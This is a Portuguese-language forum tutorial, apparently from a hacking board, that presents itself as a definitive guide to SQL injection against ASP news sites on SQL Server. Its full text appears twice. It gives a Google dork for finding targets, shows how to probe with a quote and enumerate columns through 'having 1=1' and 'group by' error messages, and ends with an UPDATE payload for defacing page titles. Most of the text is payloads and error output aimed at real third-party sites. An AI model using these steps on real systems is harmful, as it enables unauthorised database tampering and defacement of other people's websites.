Primeiramente voce vai precisar achar paginas em asp então caçe no google EX: :
allinurl: noticias.asp?id=
Em seguida vamos colocar o caracter (Aspas) simples ' no final da url ...
Exemplo : Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...'
Vai apareçer o seguinte erro que sei que muitos já depararam :
Microsoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string ' order by id_noticia desc'.
/noticias.asp, line 10
Vamos a uma pequena explicação :
A variavel ID ela é definida para receber valores inteiros e no caso voce estaria passando o valor como string, na maioria das linguagens de programação, para declarar uma string voce tem que abrir e fechar aspas ou aspas simples esse é o motivo do erro, ele abre e não fecha.
Agora que achamos um site possivelmente vulneravel, nos vamos tentar descobrir os campos da tabela com um simples comando, having 1=1
HAVING é semelhante a WHERE, que determina quais registros são selecionados, no caso ele solicita a primeira celula da tabela.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... 1=1
Vai resultar no seguinte erro :
Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'TBL_NOTICIAS.ID_Noticia' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP By Clause
/noticias.asp, line 10
Agora confirmamos se o site está vuln ou não, e ele nos informou o primeiro campo da tabela :
TBL_NOTICIAS.ID_Noticia onde
Nome da tabela : TBL_NOTICIAS
Primeiro campo da Tabela : ID_Noticia
Uma tabela de BD (Banco de Dados) não é feita de um so campo, por isso vamos implementar ainda mais nossa string usando o comando group by que tem que ser usando group by + nome da tabela + campo da tabela
Ex : Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... by TBL_NOTICIAS.ID_Noticia
Vai nos retornar :
Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'TBL_NOTICIAS.Titulo' is invalid in the select list because it is not contained in either an aggregate function and there is no GROUP By Clause
/noticias.asp, line 10
Se observarem ele nos retornou mais um campo TBL_NOTICIAS.Titulo agora para juntar com o comando anterior e continuar a descobrir os campos da tabela use a virgula.
Ex : Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...' group by TBL_NOTICIAS.ID_Noticia,TBL_NOTICIAS.Titulo
Vai nos Retornar :
Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'TBL_NOTICIAS.IdCategoria' is invalid in the select list because it is not contained in either an aggregate function and there is no GROUP By Clause
/noticias.asp, line 10
Agora que já conhecemos alguns dos campos vamos fazer um update da tabela, atualizar ela com os parametros da url.
+update+TBL_NOTICIAS+set+Titulo='Sua mensagem
ex:
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... Mensagem'
Update+'Tabela'+Set+'Coluna'='Valor'
A 'Tabela' é a tabela do banco de dados que vai alterar o valor, pode descobrir pelo comando having mesmo, a tabela é a primeira parte, antes do ponto.
A 'Coluna' é a coluna que sera editada. É a segunda parte do HAVING, depois do ponto. É bom voce escolher uma com alguma importancia, como titulos ou colunas com o conteudo.
O 'Valor' é OBVIO.
Tudo que tiver depois do SET são atribuições de valores às variaveis, se não me engano, podem ser separadas por virgulas.
Definição de comandos por Cloudy.
Esse foi o final do guia definitivo do SQL Injection, espero que todos tenham gostado e apreendido !
Creditos para meu amigo Edu
allinurl: noticias.asp?id=
Em seguida vamos colocar o caracter (Aspas) simples ' no final da url ...
Exemplo : Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...'
Vai apareçer o seguinte erro que sei que muitos já depararam :
Microsoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string ' order by id_noticia desc'.
/noticias.asp, line 10
Vamos a uma pequena explicação :
A variavel ID ela é definida para receber valores inteiros e no caso voce estaria passando o valor como string, na maioria das linguagens de programação, para declarar uma string voce tem que abrir e fechar aspas ou aspas simples esse é o motivo do erro, ele abre e não fecha.
Agora que achamos um site possivelmente vulneravel, nos vamos tentar descobrir os campos da tabela com um simples comando, having 1=1
HAVING é semelhante a WHERE, que determina quais registros são selecionados, no caso ele solicita a primeira celula da tabela.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... 1=1
Vai resultar no seguinte erro :
Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'TBL_NOTICIAS.ID_Noticia' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP By Clause
/noticias.asp, line 10
Agora confirmamos se o site está vuln ou não, e ele nos informou o primeiro campo da tabela :
TBL_NOTICIAS.ID_Noticia onde
Nome da tabela : TBL_NOTICIAS
Primeiro campo da Tabela : ID_Noticia
Uma tabela de BD (Banco de Dados) não é feita de um so campo, por isso vamos implementar ainda mais nossa string usando o comando group by que tem que ser usando group by + nome da tabela + campo da tabela
Ex : Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... by TBL_NOTICIAS.ID_Noticia
Vai nos retornar :
Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'TBL_NOTICIAS.Titulo' is invalid in the select list because it is not contained in either an aggregate function and there is no GROUP By Clause
/noticias.asp, line 10
Se observarem ele nos retornou mais um campo TBL_NOTICIAS.Titulo agora para juntar com o comando anterior e continuar a descobrir os campos da tabela use a virgula.
Ex : Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...' group by TBL_NOTICIAS.ID_Noticia,TBL_NOTICIAS.Titulo
Vai nos Retornar :
Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'TBL_NOTICIAS.IdCategoria' is invalid in the select list because it is not contained in either an aggregate function and there is no GROUP By Clause
/noticias.asp, line 10
Agora que já conhecemos alguns dos campos vamos fazer um update da tabela, atualizar ela com os parametros da url.
+update+TBL_NOTICIAS+set+Titulo='Sua mensagem
ex:
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... Mensagem'
Update+'Tabela'+Set+'Coluna'='Valor'
A 'Tabela' é a tabela do banco de dados que vai alterar o valor, pode descobrir pelo comando having mesmo, a tabela é a primeira parte, antes do ponto.
A 'Coluna' é a coluna que sera editada. É a segunda parte do HAVING, depois do ponto. É bom voce escolher uma com alguma importancia, como titulos ou colunas com o conteudo.
O 'Valor' é OBVIO.
Tudo que tiver depois do SET são atribuições de valores às variaveis, se não me engano, podem ser separadas por virgulas.
Definição de comandos por Cloudy.
Esse foi o final do guia definitivo do SQL Injection, espero que todos tenham gostado e apreendido !
Creditos para meu amigo Edu
Comment